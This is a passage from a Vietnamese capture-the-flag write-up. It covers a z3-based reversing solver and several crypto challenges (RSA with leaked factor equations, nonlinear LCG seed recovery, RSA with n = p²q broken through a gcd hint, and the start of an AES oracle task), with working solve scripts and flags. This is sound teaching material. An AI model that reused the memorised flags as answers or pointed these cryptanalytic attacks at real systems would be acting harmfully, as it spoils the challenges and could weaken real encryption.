                conditions.append(If(char == ord(<span class="hljs-string">'r'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x36</span>:  <span class="hljs-comment"># For 't'</span>
            <span class="hljs-keyword">if</span> (v7 &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'t'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))

        <span class="hljs-keyword">if</span> i &lt;= <span class="hljs-number">0x30</span>:  <span class="hljs-comment"># For 'w'</span>
            <span class="hljs-keyword">if</span> (v5 &gt;&gt; i) &amp; <span class="hljs-number">1</span>:
                conditions.append(If(char == ord(<span class="hljs-string">'w'</span>), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>))        
        v3 = v3 + Sum(conditions)
    s.add(v3 == <span class="hljs-number">62</span>)

    <span class="hljs-keyword">if</span> s.check() == sat:
        m = s.model()
        result = <span class="hljs-string">''</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">62</span>):
            c = m[chars[i]].as_long()
            result += chr(c)
        <span class="hljs-keyword">return</span> result
    <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>

result = solve_challenge()
<span class="hljs-keyword">if</span> result:
    print(<span class="hljs-string">"Flag:"</span>, result)
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">"No solution found"</span>)
<span class="hljs-comment">#Flag: KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}</span>
</code></pre>
<p>Flag: KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}</p>
<h2 id="heading-v-crypto">V. Crypto</h2>
<h3 id="heading-crypto-1-easy">Crypto 1 (easy)</h3>
<p><img src="https://hackmd.io/_uploads/S1yNVCsDJl.png" alt /></p>
<ul>
<li><p><strong>Source:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> math <span class="hljs-keyword">import</span> gcd

  flag = <span class="hljs-string">b"KCSC{fake_flag}"</span>

  p = getPrime(<span class="hljs-number">512</span>)
  q = getPrime(<span class="hljs-number">512</span>)
  n = p*q
  e = <span class="hljs-number">0x10001</span>
  c = pow(bytes_to_long(flag), e, n)

  print(<span class="hljs-string">f"n = <span class="hljs-subst">{n}</span>"</span>)
  print(<span class="hljs-string">f"c = <span class="hljs-subst">{c}</span>"</span>)
  print(<span class="hljs-number">13</span> * q ** <span class="hljs-number">2</span> + <span class="hljs-number">5</span>*p * q + <span class="hljs-number">2</span> * p ** <span class="hljs-number">5</span>)
  print(<span class="hljs-number">7</span> * q ** <span class="hljs-number">3</span> + p ** <span class="hljs-number">3</span>)

  <span class="hljs-string">"""
  n = 68288521803749096598885637638053621717196600162883393314204537792265324550130476000830582459892601191221713398147068471895218340440441520348186049243098557276069294337290348570168822004443403024217772173472817801983123070596861372926544266786307347422625999741472764054251261966242723803223755250857431959613
  c = 51484360656675894405169578577777421818221080188874188339332704212766014455602299232733441854614491353614936672698767100621643701474052897096397257567627546370308824123953740553988694850896612092526733722171750215446879926157508653359056454370778767748861899945472045315573513667461778478951641271690253340703
  99070322718633589075437462797565157261778565342202176866775343970398558639214129862647491552411934954337080928975984888590350647667063750589996693551004764949048370796506334502440334616612079528441181921243264137829513725003752633040825654275249100544290948338516838946174770287568358642193272862193796894044937197882972942736350187023160283258646203934697126833099845086570117310993425665455046278368788256843647321433937611726466080931200057154600456738627871172358125025243308598393199170155505096434440339433895197600955266878886512068835988415711337072167542113641557473147599428014808952558696371214362762804029219711275834667722478355607836912560341298862576500518929722837267759516608623300378294362866958920710706131156072317563285732965572961520111862487408104
  4053829493753080394597319030520465552249075460276768487813206903952134102796024072650537404512981555893331018255239607908419904554570951529767887735220350920134963507895001907309725345634404748146887358629605419756823088475689769294303699918630919892363333011358649952996211367887394670736389996674537151867058156643368735877078538193576703224594833465330136899282032495128158051461158831558808541670885217172490157676355847572589184884710346372276161554121356404
   """</span>
</code></pre>
</li>
<li><p><strong>Flag</strong> của ta được mã hóa <strong>RSA</strong> nên nếu ta tìm được giá trị <em>p</em> và <em>q</em> của modulus <em>n</em> thì ta sẽ giải mã được <strong>Ciphertext</strong> rất dễ dàng.</p>
</li>
<li><p>Nhận thấy rằng giá trị của <em>p</em> và <em>q</em> được biểu diễn qua một hệ phương trình như sau:</p>
</li>
</ul>
<p>$$\left\{\begin{matrix} 13 \times q ^ 2 + 5\times p \times q + 2 \times p ^ 5 = k_1\\ 7 \times q ^ 3 + p ^ 3 = k_2 \end{matrix}\right.$$</p><ul>
<li><p>Mình thấy hệ phương trình này giải tay khá là cực nhưng nếu dùng các thư viện toán học thì sẽ rất nhanh nên để tiết kiệm thời gian, mình sẽ dùng thư viện <strong>Sympy</strong> để giải. Có được <em>p,q</em> thì bài toán kết thúc.</p>
</li>
<li><p><strong>Script:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> sympy <span class="hljs-keyword">import</span> var, Eq, solve
  e = <span class="hljs-number">0x10001</span>
  n = <span class="hljs-number">68288521803749096598885637638053621717196600162883393314204537792265324550130476000830582459892601191221713398147068471895218340440441520348186049243098557276069294337290348570168822004443403024217772173472817801983123070596861372926544266786307347422625999741472764054251261966242723803223755250857431959613</span>
  c = <span class="hljs-number">51484360656675894405169578577777421818221080188874188339332704212766014455602299232733441854614491353614936672698767100621643701474052897096397257567627546370308824123953740553988694850896612092526733722171750215446879926157508653359056454370778767748861899945472045315573513667461778478951641271690253340703</span>
  k1 = <span class="hljs-number">99070322718633589075437462797565157261778565342202176866775343970398558639214129862647491552411934954337080928975984888590350647667063750589996693551004764949048370796506334502440334616612079528441181921243264137829513725003752633040825654275249100544290948338516838946174770287568358642193272862193796894044937197882972942736350187023160283258646203934697126833099845086570117310993425665455046278368788256843647321433937611726466080931200057154600456738627871172358125025243308598393199170155505096434440339433895197600955266878886512068835988415711337072167542113641557473147599428014808952558696371214362762804029219711275834667722478355607836912560341298862576500518929722837267759516608623300378294362866958920710706131156072317563285732965572961520111862487408104</span>
  k2 = <span class="hljs-number">4053829493753080394597319030520465552249075460276768487813206903952134102796024072650537404512981555893331018255239607908419904554570951529767887735220350920134963507895001907309725345634404748146887358629605419756823088475689769294303699918630919892363333011358649952996211367887394670736389996674537151867058156643368735877078538193576703224594833465330136899282032495128158051461158831558808541670885217172490157676355847572589184884710346372276161554121356404</span>

  p, q = var(<span class="hljs-string">"p, q"</span>)
  eq1 = Eq(<span class="hljs-number">13</span> * q ** <span class="hljs-number">2</span> + <span class="hljs-number">5</span>*p * q + <span class="hljs-number">2</span> * p ** <span class="hljs-number">5</span>, k1)
  eq2 = Eq(<span class="hljs-number">7</span> * q ** <span class="hljs-number">3</span> + p ** <span class="hljs-number">3</span>, k2)

  solutions = solve([eq1, eq2])[<span class="hljs-number">0</span>]

  p = int(solutions[p])
  q = int(solutions[q])
  d = pow(e, <span class="hljs-number">-1</span>, n-p-q+<span class="hljs-number">1</span>)

  print(pow(c, d, n).to_bytes(<span class="hljs-number">50</span>))
</code></pre>
</li>
</ul>
<p>Flag: <strong>KCSC{solv1ng_equ4ti0ns_with_r3sult4nts_is_f4n}</strong></p>
<h3 id="heading-vlcg-easy">VlCG (easy)</h3>
<p><img src="https://hackmd.io/_uploads/SkkL40iPyx.png" alt /></p>
<ul>
<li><p><strong>Source:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
  <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> flag

  <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LCG</span>():</span>

      <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, seed, a, c, m</span>):</span>
          self.seed = seed
          self.a = a
          self.c = c
          self.m = m
          self.state = seed

      <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">next</span>(<span class="hljs-params">self</span>):</span>

          self.seed = (self.a * self.seed ** <span class="hljs-number">65537</span> + self.c) % m
          <span class="hljs-keyword">return</span> self.seed &gt;&gt; <span class="hljs-number">20</span>

  a = getPrime(<span class="hljs-number">50</span>)
  c = getPrime(<span class="hljs-number">50</span>)
  m = getPrime(<span class="hljs-number">100</span>)
  seed = getRandomInteger(<span class="hljs-number">50</span>)

  lcg = LCG(seed, a, c, m)

  key = sha256(long_to_bytes(seed)).digest()
  enc = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, <span class="hljs-number">16</span>))

  hint = []

  print(<span class="hljs-string">f"<span class="hljs-subst">{enc = }</span>"</span>)
  print(<span class="hljs-string">f"<span class="hljs-subst">{a = }</span>"</span>)
  print(<span class="hljs-string">f"<span class="hljs-subst">{c = }</span>"</span>)
  print(<span class="hljs-string">f"<span class="hljs-subst">{m = }</span>"</span>)
  print(<span class="hljs-string">f"<span class="hljs-subst">{lcg.next() = }</span>"</span>)

  <span class="hljs-string">"""
  enc = b'\x17j\x1b\xb1(eWHD\x98\t\xfc\x04\x94(\x18\xeaxT\xa6B*\xa0E\xe92\xe36!3\xbc\x96[\xa5\x82eG\xc2\x00\x7fM\xf0\xcb@tN\xf8\x01'      
  a = 758872855643059
  c = 814446603569537
  m = 984792769709730047935594905989
  lcg.next() = 241670272469283782290680
  """</span>
</code></pre>
</li>
<li><p>Phân tích source, ta thấy rằng <strong>key</strong> của AES được tính thông qua <code>key = sha256(long_to_bytes(seed)).digest()</code>, tức nhiệm vụ của ta là phải tìm được <strong>seed</strong>.</p>
</li>
</ul>
<p>Công thức của <strong>seed</strong> như sau:</p>
<p>$$\text{S} \equiv \text{a} \times \text{seed}^{65537} + \text{c} \pmod {\text{m}}$$</p><p>$$\Leftrightarrow \text{seed}^{65537} \equiv (\text{S} - \text{c}) \times \text{a}^{-1} \pmod {\text{m}}$$</p><ul>
<li><p>Giờ ta phải triệt tiêu đi số mũ <strong>65537</strong> của <strong>seed</strong> thì sẽ có được <strong>seed</strong>. Tương tự như <strong>RSA</strong>, ta sẽ đi tính</p>
<p>  \(\text{d} = 65537^{-1} \pmod{\phi(m)}\) với \(\phi(m) = m-1\) vì <strong><em>m</em></strong> là số nguyên tố.</p>
</li>
<li><p>Sau đó lấy \(((\text{S} - \text{c}) \times \text{a}^{-1})^{d} \mod m\) là có được <strong>seed</strong>.</p>
</li>
</ul>
<p>Tuy nhiên để tăng độ khó thì Challenge tiếp tục bỏ đi <strong>20</strong> bit cuối (khoảng 1 triệu) của <strong>S</strong>. Vì vậy ta cần thêm một bước là brute force <strong>20</strong> bit cuối của <strong>S</strong>.</p>
<p>$$\text{S} = (\text{lcg.next()} &lt;&lt; 20) + i \hspace{3mm} \{1 &lt; i &lt; 2^{20}\}$$</p><ul>
<li><p><strong>Script:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
  <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> trange

  enc = <span class="hljs-string">b'\x17j\x1b\xb1(eWHD\x98\t\xfc\x04\x94(\x18\xeaxT\xa6B*\xa0E\xe92\xe36!3\xbc\x96[\xa5\x82eG\xc2\x00\x7fM\xf0\xcb@tN\xf8\x01'</span>      
  a = <span class="hljs-number">758872855643059</span>
  c = <span class="hljs-number">814446603569537</span>
  m = <span class="hljs-number">984792769709730047935594905989</span>
  next_seed = <span class="hljs-number">241670272469283782290680</span>

  e = pow(<span class="hljs-number">65537</span>, <span class="hljs-number">-1</span>, m<span class="hljs-number">-1</span>)
  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> trange(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>**<span class="hljs-number">20</span>):

      S = (next_seed &lt;&lt; <span class="hljs-number">20</span>) + i <span class="hljs-comment"># nhớ thêm dấu ngoặc, thiếu là ăn đủ</span>
      seed = (pow((S - c) * pow(a, <span class="hljs-number">-1</span>, m), e, m)) % m
      key = sha256(long_to_bytes(seed)).digest()

      flag = AES.new(key, AES.MODE_ECB).decrypt(enc)
      <span class="hljs-keyword">if</span> <span class="hljs-string">b"KCSC{"</span> <span class="hljs-keyword">in</span> flag:
          print(flag)
          <span class="hljs-keyword">break</span>
</code></pre>
</li>
</ul>
<p>Seed = 504545958124800</p>
<p>Flag: <strong>KCSC{linear_congruential_generator(LCG)}</strong></p>
<h3 id="heading-zoltraak-easy">Zoltraak (easy)</h3>
<p><img src="https://hackmd.io/_uploads/rk0v40iPkl.png" alt /></p>
<ul>
<li><p><strong>Source:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *

  FLAG = <span class="hljs-string">b'KCSC{???????????????????????????????????????}'</span>
  m = bytes_to_long(FLAG)
  p = getPrime(<span class="hljs-number">512</span>)
  q = getPrime(<span class="hljs-number">512</span>)
  n = p * p * q
  e = <span class="hljs-number">0x10001</span>
  d = inverse(e, p * (p<span class="hljs-number">-1</span>) * (q<span class="hljs-number">-1</span>))
  <span class="hljs-keyword">assert</span> m &lt; n
  c = pow(m, e, n)
  hint = pow(d, e, n)
  print(<span class="hljs-string">f'c = <span class="hljs-subst">{c}</span>'</span>)
  print(<span class="hljs-string">f'hint = <span class="hljs-subst">{hint}</span>'</span>)
  print(<span class="hljs-string">f'n = <span class="hljs-subst">{n}</span>'</span>)

  <span class="hljs-string">"""
  c = 216895836421936226664808806038131495725544658675106485670550453429609078893908601117272164909327632048129546753076380379045793859323244310633521321055388974634549104918284811813205866773238823220320222756056839297144222443834324484452750837978501262424186119512949111339142374067658940576220209924539508684423305539352188419127746551691195133913843198343764965016833190033138825402951884225991852311634388045499747652928427089105006744062452013466170009819761589
  hint = 119347490709709918515362500613767389632792382149593771026067086829182731765211255478693659388705133600879844115195595226603111752985962235917359759090718061734175658693105117154525703606445141788266279862259884063386378441258483507592794727728695131221071650602175884547070684687593047276747070248401583807925835550653444240529379502255688396376354105756898403267623695663194584556369065618489842778593026855625193720218739585629291162493093893452796713107895772
  n = 947166029378215681573685007119017666168984033297752775080286377779867377305545634376587741948207865073328277940177160532951778642727687102119230712410226086882346969888194915073996590482747649286982920772432363906920327921033567974712097884396540431297147440251083706325071265030933645087536778803607268099965990824052754448809778996696907531977479093847266964842017321766588821529580218132015882438704409614373340861025360688571007185362228026637160817305181421
  """</span>
</code></pre>
</li>
<li><p>Challenge cho ta các công thức sau:</p>
</li>
</ul>
<p>$$\begin{gather} \text{d} \equiv e^{-1} \pmod {\phi(n)} \hspace{5mm} (1) \newline \text{hint} \equiv \text{d}^e \pmod n \hspace{5mm} (2) \newline \phi(n) = p \times (p-1) \times (q-1) \newline n = p^2 \times q \newline \end{gather}$$</p><ul>
<li>Từ (1) ta mũ hai vế cho <strong>e</strong> được:</li>
</ul>
<p>$$\text{d}^e \equiv e^{-e} \pmod {\phi(n)}$$</p><ul>
<li>Vì p|ϕ(n) nên ta có thể viết phương trình trên thành:</li>
</ul>
<p>$$\text{d}^e \equiv e^{-e} \pmod {p} \hspace{5mm} (*)$$</p><ul>
<li>Với phương trình (2), ta nhân hai vế cho eemodn được:</li>
</ul>
<p>$$\text{hint} \times (e^e \mod n) \equiv \text{d}^e \times (e^e \mod n) \pmod n$$</p><ul>
<li>Vì p|n nên ta có thể viết lại phương trình trên như sau:</li>
</ul>
<p>$$\text{hint} \times (e^e \mod n) \equiv \text{d}^e \times (e^e \mod p) \pmod p \hspace{5mm} (**)$$</p><ul>
<li>Thay (*) vào (**) được:</li>
</ul>
<p>$$\begin{gather} \text{hint} \times (e^e \mod n) \equiv (e^{-e} \mod p) \times (e^e \mod p) \pmod p \newline \Leftrightarrow \text{hint} \times (e^e \mod n) \equiv (e^{-e} \times e^e \mod p) \pmod p \newline \Leftrightarrow \text{hint} \times (e^e \mod n) \equiv 1 \pmod p \end{gather}$$</p><blockquote>
<p>\(\Rightarrow \text{hint} \times (e^e \mod n) - 1 = k \times p\)</p>
</blockquote>
<ul>
<li><p>Giờ ta chỉ cần tính <strong>GCD</strong> của \(\text{hint} \times (e^e \mod n) - 1\) và n là có p, bài toán kết thúc.</p>
</li>
<li><p><strong>Script:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  e = <span class="hljs-number">0x10001</span>
  c = <span class="hljs-number">216895836421936226664808806038131495725544658675106485670550453429609078893908601117272164909327632048129546753076380379045793859323244310633521321055388974634549104918284811813205866773238823220320222756056839297144222443834324484452750837978501262424186119512949111339142374067658940576220209924539508684423305539352188419127746551691195133913843198343764965016833190033138825402951884225991852311634388045499747652928427089105006744062452013466170009819761589</span>
  hint = <span class="hljs-number">119347490709709918515362500613767389632792382149593771026067086829182731765211255478693659388705133600879844115195595226603111752985962235917359759090718061734175658693105117154525703606445141788266279862259884063386378441258483507592794727728695131221071650602175884547070684687593047276747070248401583807925835550653444240529379502255688396376354105756898403267623695663194584556369065618489842778593026855625193720218739585629291162493093893452796713107895772</span>
  n = <span class="hljs-number">947166029378215681573685007119017666168984033297752775080286377779867377305545634376587741948207865073328277940177160532951778642727687102119230712410226086882346969888194915073996590482747649286982920772432363906920327921033567974712097884396540431297147440251083706325071265030933645087536778803607268099965990824052754448809778996696907531977479093847266964842017321766588821529580218132015882438704409614373340861025360688571007185362228026637160817305181421</span>

  p = GCD(hint * pow(e, e, n) - <span class="hljs-number">1</span>, n)
  q = n // (p**<span class="hljs-number">2</span>)

  phi = p * (p<span class="hljs-number">-1</span>) * (q<span class="hljs-number">-1</span>)
  d = pow(e, <span class="hljs-number">-1</span>, phi)

  print(long_to_bytes(pow(c, d, n)))
</code></pre>
</li>
</ul>
<p>Flag: <strong>KCSC{0ne_p_1s_Enough_:vvvvv}</strong></p>
<p>Ngoài cách giải trên ra thì còn một cách khác đơn giản hơn đó là sử dụng <strong>Nhị thức Newton</strong></p>
<pre><code class="lang-plaintext">n = p*p*q
phi = p*(p-1)*(q-1)
h = d^e mod n

e^e*h = (e*d)^e mod n
e^e*h = (e*d)^e mod p
e^e*h = (1 + p*(p-1)*(q-1))^e mod p

khai triển nhị thức newton của (1 + p*(p-1)*(q-1))^e mod p ta được 1
vậy ta được phương trình mới là:
e^e*h = 1 mod p

=&gt; e^e*h - 1 = k*p

=&gt; gcd(e^e*h - 1, n) == p
</code></pre>
<h3 id="heading-aesos-easymedium">AESOS (easy/medium)</h3>
<p><img src="https://hackmd.io/_uploads/r1_iNRswkg.png" alt /></p>
<ul>
<li><p><a target="_blank" href="http://chal.py"><strong><em>chal.py</em></strong></a></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> aes <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">import</span> os
  <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> xor
  <span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> flag

  cipher = AES(os.urandom(<span class="hljs-number">16</span>))

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">msg: bytes</span>) -&gt; bytes:</span>
      iv = os.urandom(<span class="hljs-number">16</span>)
      <span class="hljs-keyword">return</span> iv + cipher.encrypt(msg, iv)

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">c: bytes</span>) -&gt; bytes:</span>
      <span class="hljs-keyword">return</span> cipher.decrypt(c[<span class="hljs-number">16</span>:], c[:<span class="hljs-number">16</span>])

  <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:

      print(<span class="hljs-string">"1. Encrypt"</span>)
      print(<span class="hljs-string">"2. Decrypt"</span>)
      print(<span class="hljs-string">"3. Flag"</span>)

      otp = int(input(<span class="hljs-string">"&gt;&gt; "</span>))

      <span class="hljs-keyword">if</span> otp == <span class="hljs-number">1</span>:

          msg = bytes.fromhex(input(<span class="hljs-string">"Enter your message: "</span>))
          print(encrypt(msg).hex())

      <span class="hljs-keyword">elif</span> otp == <span class="hljs-number">2</span>:

          msg = bytes.fromhex(input(<span class="hljs-string">"Enter the ciphertext: "</span>))
          print(decrypt(msg).hex())

      <span class="hljs-keyword">elif</span> otp == <span class="hljs-number">3</span>:

          print(encrypt(flag).hex())

      <span class="hljs-keyword">else</span>:
          exit()
</code></pre>
</li>
</ul>
<p><a target="_blank" href="http://aes.py"><strong><em>aes.py</em></strong></a></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-string">"""
This is an exercise in secure symmetric-key encryption, implemented in pure
Python (no external libraries needed).

Original AES-128 implementation by Bo Zhu (http://about.bozhu.me) at 
https://github.com/bozhu/AES-Python . PKCS#7 padding, CBC mode, PKBDF2, HMAC,
byte array and string support added by me at https://github.com/boppreh/aes. 
Other block modes contributed by @righthandabacus.


Although this is an exercise, the `encrypt` and `decrypt` functions should
provide reasonable security to encrypted messages.
"""</span>


s_box = (
    <span class="hljs-number">0x63</span>, <span class="hljs-number">0x7C</span>, <span class="hljs-number">0x77</span>, <span class="hljs-number">0x7B</span>, <span class="hljs-number">0xF2</span>, <span class="hljs-number">0x6B</span>, <span class="hljs-number">0x6F</span>, <span class="hljs-number">0xC5</span>, <span class="hljs-number">0x30</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x67</span>, <span class="hljs-number">0x2B</span>, <span class="hljs-number">0xFE</span>, <span class="hljs-number">0xD7</span>, <span class="hljs-number">0xAB</span>, <span class="hljs-number">0x76</span>,
    <span class="hljs-number">0xCA</span>, <span class="hljs-number">0x82</span>, <span class="hljs-number">0xC9</span>, <span class="hljs-number">0x7D</span>, <span class="hljs-number">0xFA</span>, <span class="hljs-number">0x59</span>, <span class="hljs-number">0x47</span>, <span class="hljs-number">0xF0</span>, <span class="hljs-number">0xAD</span>, <span class="hljs-number">0xD4</span>, <span class="hljs-number">0xA2</span>, <span class="hljs-number">0xAF</span>, <span class="hljs-number">0x9C</span>, <span class="hljs-number">0xA4</span>, <span class="hljs-number">0x72</span>, <span class="hljs-number">0xC0</span>,
    <span class="hljs-number">0xB7</span>, <span class="hljs-number">0xFD</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0x26</span>, <span class="hljs-number">0x36</span>, <span class="hljs-number">0x3F</span>, <span class="hljs-number">0xF7</span>, <span class="hljs-number">0xCC</span>, <span class="hljs-number">0x34</span>, <span class="hljs-number">0xA5</span>, <span class="hljs-number">0xE5</span>, <span class="hljs-number">0xF1</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0xD8</span>, <span class="hljs-number">0x31</span>, <span class="hljs-number">0x15</span>,
    <span class="hljs-number">0x04</span>, <span class="hljs-number">0xC7</span>, <span class="hljs-number">0x23</span>, <span class="hljs-number">0xC3</span>, <span class="hljs-number">0x18</span>, <span class="hljs-number">0x96</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x9A</span>, <span class="hljs-number">0x07</span>, <span class="hljs-number">0x12</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xE2</span>, <span class="hljs-number">0xEB</span>, <span class="hljs-number">0x27</span>, <span class="hljs-number">0xB2</span>, <span class="hljs-number">0x75</span>,
    <span class="hljs-number">0x09</span>, <span class="hljs-number">0x83</span>, <span class="hljs-number">0x2C</span>, <span class="hljs-number">0x1A</span>, <span class="hljs-number">0x1B</span>, <span class="hljs-number">0x6E</span>, <span class="hljs-number">0x5A</span>, <span class="hljs-number">0xA0</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x3B</span>, <span class="hljs-number">0xD6</span>, <span class="hljs-number">0xB3</span>, <span class="hljs-number">0x29</span>, <span class="hljs-number">0xE3</span>, <span class="hljs-number">0x2F</span>, <span class="hljs-number">0x84</span>,
    <span class="hljs-number">0x53</span>, <span class="hljs-number">0xD1</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xED</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0xFC</span>, <span class="hljs-number">0xB1</span>, <span class="hljs-number">0x5B</span>, <span class="hljs-number">0x6A</span>, <span class="hljs-number">0xCB</span>, <span class="hljs-number">0xBE</span>, <span class="hljs-number">0x39</span>, <span class="hljs-number">0x4A</span>, <span class="hljs-number">0x4C</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xCF</span>,
    <span class="hljs-number">0xD0</span>, <span class="hljs-number">0xEF</span>, <span class="hljs-number">0xAA</span>, <span class="hljs-number">0xFB</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0x4D</span>, <span class="hljs-number">0x33</span>, <span class="hljs-number">0x85</span>, <span class="hljs-number">0x45</span>, <span class="hljs-number">0xF9</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x7F</span>, <span class="hljs-number">0x50</span>, <span class="hljs-number">0x3C</span>, <span class="hljs-number">0x9F</span>, <span class="hljs-number">0xA8</span>,
    <span class="hljs-number">0x51</span>, <span class="hljs-number">0xA3</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x8F</span>, <span class="hljs-number">0x92</span>, <span class="hljs-number">0x9D</span>, <span class="hljs-number">0x38</span>, <span class="hljs-number">0xF5</span>, <span class="hljs-number">0xBC</span>, <span class="hljs-number">0xB6</span>, <span class="hljs-number">0xDA</span>, <span class="hljs-number">0x21</span>, <span class="hljs-number">0x10</span>, <span class="hljs-number">0xFF</span>, <span class="hljs-number">0xF3</span>, <span class="hljs-number">0xD2</span>,
    <span class="hljs-number">0xCD</span>, <span class="hljs-number">0x0C</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0xEC</span>, <span class="hljs-number">0x5F</span>, <span class="hljs-number">0x97</span>, <span class="hljs-number">0x44</span>, <span class="hljs-number">0x17</span>, <span class="hljs-number">0xC4</span>, <span class="hljs-number">0xA7</span>, <span class="hljs-number">0x7E</span>, <span class="hljs-number">0x3D</span>, <span class="hljs-number">0x64</span>, <span class="hljs-number">0x5D</span>, <span class="hljs-number">0x19</span>, <span class="hljs-number">0x73</span>,
    <span class="hljs-number">0x60</span>, <span class="hljs-number">0x81</span>, <span class="hljs-number">0x4F</span>, <span class="hljs-number">0xDC</span>, <span class="hljs-number">0x22</span>, <span class="hljs-number">0x2A</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0x88</span>, <span class="hljs-number">0x46</span>, <span class="hljs-number">0xEE</span>, <span class="hljs-number">0xB8</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0xDE</span>, <span class="hljs-number">0x5E</span>, <span class="hljs-number">0x0B</span>, <span class="hljs-number">0xDB</span>,
    <span class="hljs-number">0xE0</span>, <span class="hljs-number">0x32</span>, <span class="hljs-number">0x3A</span>, <span class="hljs-number">0x0A</span>, <span class="hljs-number">0x49</span>, <span class="hljs-number">0x06</span>, <span class="hljs-number">0x24</span>, <span class="hljs-number">0x5C</span>, <span class="hljs-number">0xC2</span>, <span class="hljs-number">0xD3</span>, <span class="hljs-number">0xAC</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0x95</span>, <span class="hljs-number">0xE4</span>, <span class="hljs-number">0x79</span>,
    <span class="hljs-number">0xE7</span>, <span class="hljs-number">0xC8</span>, <span class="hljs-number">0x37</span>, <span class="hljs-number">0x6D</span>, <span class="hljs-number">0x8D</span>, <span class="hljs-number">0xD5</span>, <span class="hljs-number">0x4E</span>, <span class="hljs-number">0xA9</span>, <span class="hljs-number">0x6C</span>, <span class="hljs-number">0x56</span>, <span class="hljs-number">0xF4</span>, <span class="hljs-number">0xEA</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x7A</span>, <span class="hljs-number">0xAE</span>, <span class="hljs-number">0x08</span>,
    <span class="hljs-number">0xBA</span>, <span class="hljs-number">0x78</span>, <span class="hljs-number">0x25</span>, <span class="hljs-number">0x2E</span>, <span class="hljs-number">0x1C</span>, <span class="hljs-number">0xA6</span>, <span class="hljs-number">0xB4</span>, <span class="hljs-number">0xC6</span>, <span class="hljs-number">0xE8</span>, <span class="hljs-number">0xDD</span>, <span class="hljs-number">0x74</span>, <span class="hljs-number">0x1F</span>, <span class="hljs-number">0x4B</span>, <span class="hljs-number">0xBD</span>, <span class="hljs-number">0x8B</span>, <span class="hljs-number">0x8A</span>,
    <span class="hljs-number">0x70</span>, <span class="hljs-number">0x3E</span>, <span class="hljs-number">0xB5</span>, <span class="hljs-number">0x66</span>, <span class="hljs-number">0x48</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xF6</span>, <span class="hljs-number">0x0E</span>, <span class="hljs-number">0x61</span>, <span class="hljs-number">0x35</span>, <span class="hljs-number">0x57</span>, <span class="hljs-number">0xB9</span>, <span class="hljs-number">0x86</span>, <span class="hljs-number">0xC1</span>, <span class="hljs-number">0x1D</span>, <span class="hljs-number">0x9E</span>,
